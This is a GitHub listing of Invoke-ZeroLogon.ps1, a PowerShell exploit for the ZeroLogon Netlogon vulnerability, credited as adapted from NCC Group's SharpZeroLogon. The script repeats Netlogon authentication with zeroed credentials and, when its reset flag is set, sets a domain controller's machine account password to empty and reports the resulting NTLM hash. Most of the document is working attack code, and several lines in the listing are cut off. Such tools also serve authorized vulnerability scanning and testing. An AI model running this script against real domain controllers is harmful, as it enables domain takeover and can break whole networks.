Invoke-ZeroLogon / Invoke-ZeroLogon.ps1

Executable File · 185 lines (150 loc) · 6.94 KB

Code Blame Raw

```
1   function Invoke-Zerologon{
2   <#
3   .SYNOPSIS
4
5   This script can be run in two modes currently.
6   1. When the reset parameter is set to True, the script will attempt to reset the target computer's
7   2. By default, reset is set to false and will simply scan if the target computer is vulnerable to t
8   WARNING: Resetting the password of a Domain Controller is likely to break the network. DO NOT use t
9
10
11
12  This code was heavily adapted from the C# implementation by the NCC Group's Full Spectrum Attack Si
13  https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
14
15  The original CVE was published by Secura
16  https://www.secura.com/blog/zero-logon
17
18  Author: Hubbl3, Twitter: @Hubbl3
19  License: BSD 3-Clause
20  Required Dependencies: None
21  Optional Dependencies: None
22  Version: .1
23
24  .Parameter FQDN
25  Provide the fully qualified domain name
26
```

```
27      .Parameter Reset
28      Boolean used to determine if the script should attempt to reset the target computer's password
29
30      #>
31      [CmdletBinding()]
32      Param(
33          [Parameter(Position = 1, Mandatory = $true)]
34          [string]
35          $fqdn,
36
37          [Parameter(Position = 2)]
38          [boolean]
39          $Reset
40       )
41
42          $zerologon = @"
43          using System;
44          using System.Runtime.InteropServices;
45
46          namespace ZeroLogon
47          {
48              public class Netapi32
49              {
50                  public enum NETLOGON_SECURE_CHANNEL_TYPE : int
51                  {
52                      NullSecureChannel = 0,
53                      MsvApSecureChannel = 1,
54                      WorkstationSecureChannel = 2,
55                      TrustedDnsDomainSecureChannel = 3,
56                      TrustedDomainSecureChannel = 4,
57                      UasServerSecureChannel = 5,
58                      ServerSecureChannel = 6
59                  }
60
61                  [StructLayout(LayoutKind.Explicit, Size = 516)]
62                  public struct NL_TRUST_PASSWORD
63                  {
64                      [FieldOffset(0)]
65                      public ushort Buffer;
66
67                      [FieldOffset(512)]
68                      public uint Length;
69                  }
70
71                  [StructLayout(LayoutKind.Explicit, Size = 12)]
72                  public struct NETLOGON_AUTHENTICATOR
```

```
73                  {
74                      [FieldOffset(0)]
75                      public NETLOGON_CREDENTIAL Credential;
76
77                      [FieldOffset(8)]
78                      public uint Timestamp;
79                  }
80
81                  [StructLayout(LayoutKind.Sequential)]
82                  public struct NETLOGON_CREDENTIAL
83                  {
84                      public sbyte data;
85                  }
86
87                  [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
88                  public static extern int I_NetServerReqChallenge(
89                      string PrimaryName,
90                      string ComputerName,
91                      ref NETLOGON_CREDENTIAL ClientChallenge,
92                      ref NETLOGON_CREDENTIAL ServerChallenge
93                      );
94
95                  [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
96                  public static extern int I_NetServerAuthenticate2(
97                      string PrimaryName,
98                      string AccountName,
99                      NETLOGON_SECURE_CHANNEL_TYPE AccountType,
100                     string ComputerName,
101                     ref NETLOGON_CREDENTIAL ClientCredential,
102                     ref NETLOGON_CREDENTIAL ServerCredential,
103                     ref ulong NegotiateFlags
104                     );
105
106                 [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
107                 public static extern int I_NetServerPasswordSet2(
108                     string PrimaryName,
109                     string AccountName,
110                     NETLOGON_SECURE_CHANNEL_TYPE AccountType,
111                     string ComputerName,
112                     ref NETLOGON_AUTHENTICATOR Authenticator,
113                     out NETLOGON_AUTHENTICATOR ReturnAuthenticator,
114                     ref NL_TRUST_PASSWORD ClearNewPassword
115                     );
116             }
117
118             public class Kernel32
```

```
            public class Kernel32
            {
                [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
                public static extern IntPtr LoadLibrary(string lpFileName);

                [DllImport("kernel32.dll", SetLastError = true)]
                public static extern bool VirtualProtect(
                   IntPtr lpAddress,
                   uint dwSize,
                   uint flNewProtect,
                   out uint lpflOldProtect
                );

                [DllImport("kernel32.dll")]
                public static extern bool ReadProcessMemory(IntPtr hProcess, long lpBaseAddress, byte[]

                public struct MODULEINFO
                {
                    public IntPtr lpBaseOfDll;
                    public uint SizeOfImage;
                    public IntPtr EntryPoint;
                }
                [DllImport("kernel32.dll", SetLastError = true)]
                public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint

                [DllImport("psapi.dll", SetLastError = true)]
                public static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MOD
            }
        }
    "@;


        Add-Type $zerologon

        $hostname = $fqdn.split(".")[0]

        $ClientChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL
        $ServerChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL
        [Uint64]$Flags = [Uint64]0x212fffff

        for( $i = 0; $i -lt 2000; $i ++){
            if([ZeroLogon.Netapi32]::I_NetServerReqChallenge($fqdn, $hostname, [Ref] $ClientChallenge,
                 Write-Host "Can't complete server challenge. check FQDN"
                 return;
                 }
            write-host "=" -NoNewline
```

```
164             if([ZeroLogon.Netapi32]::I_NetServerAuthenticate2($fqdn, $hostname+"$",[ZeroLogon.Netapi32+
165                 Write-Host "`nServer is vulnerable";
166 
167                 $authenticator = New-Object ZeroLogon.Netapi32+NETLOGON_AUTHENTICATOR;
168                 $EmptyPassword = New-Object ZeroLogon.Netapi32+NL_TRUST_PASSWORD;
169                 if ($reset){
170 
171                     if([ZeroLogon.Netapi32]::I_NetServerPasswordSet2($fqdn, $hostname+"$", [ZeroLogon.N
172                         Write-Host "password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0";
173                         return;
174                         }
175                     write-Host "Failed to reset password"
176                     return;
177                 }
178 
179                 return;
180             }
181         }
182         Write-Host "Host appears to be patched";
183 
184 
185     }
```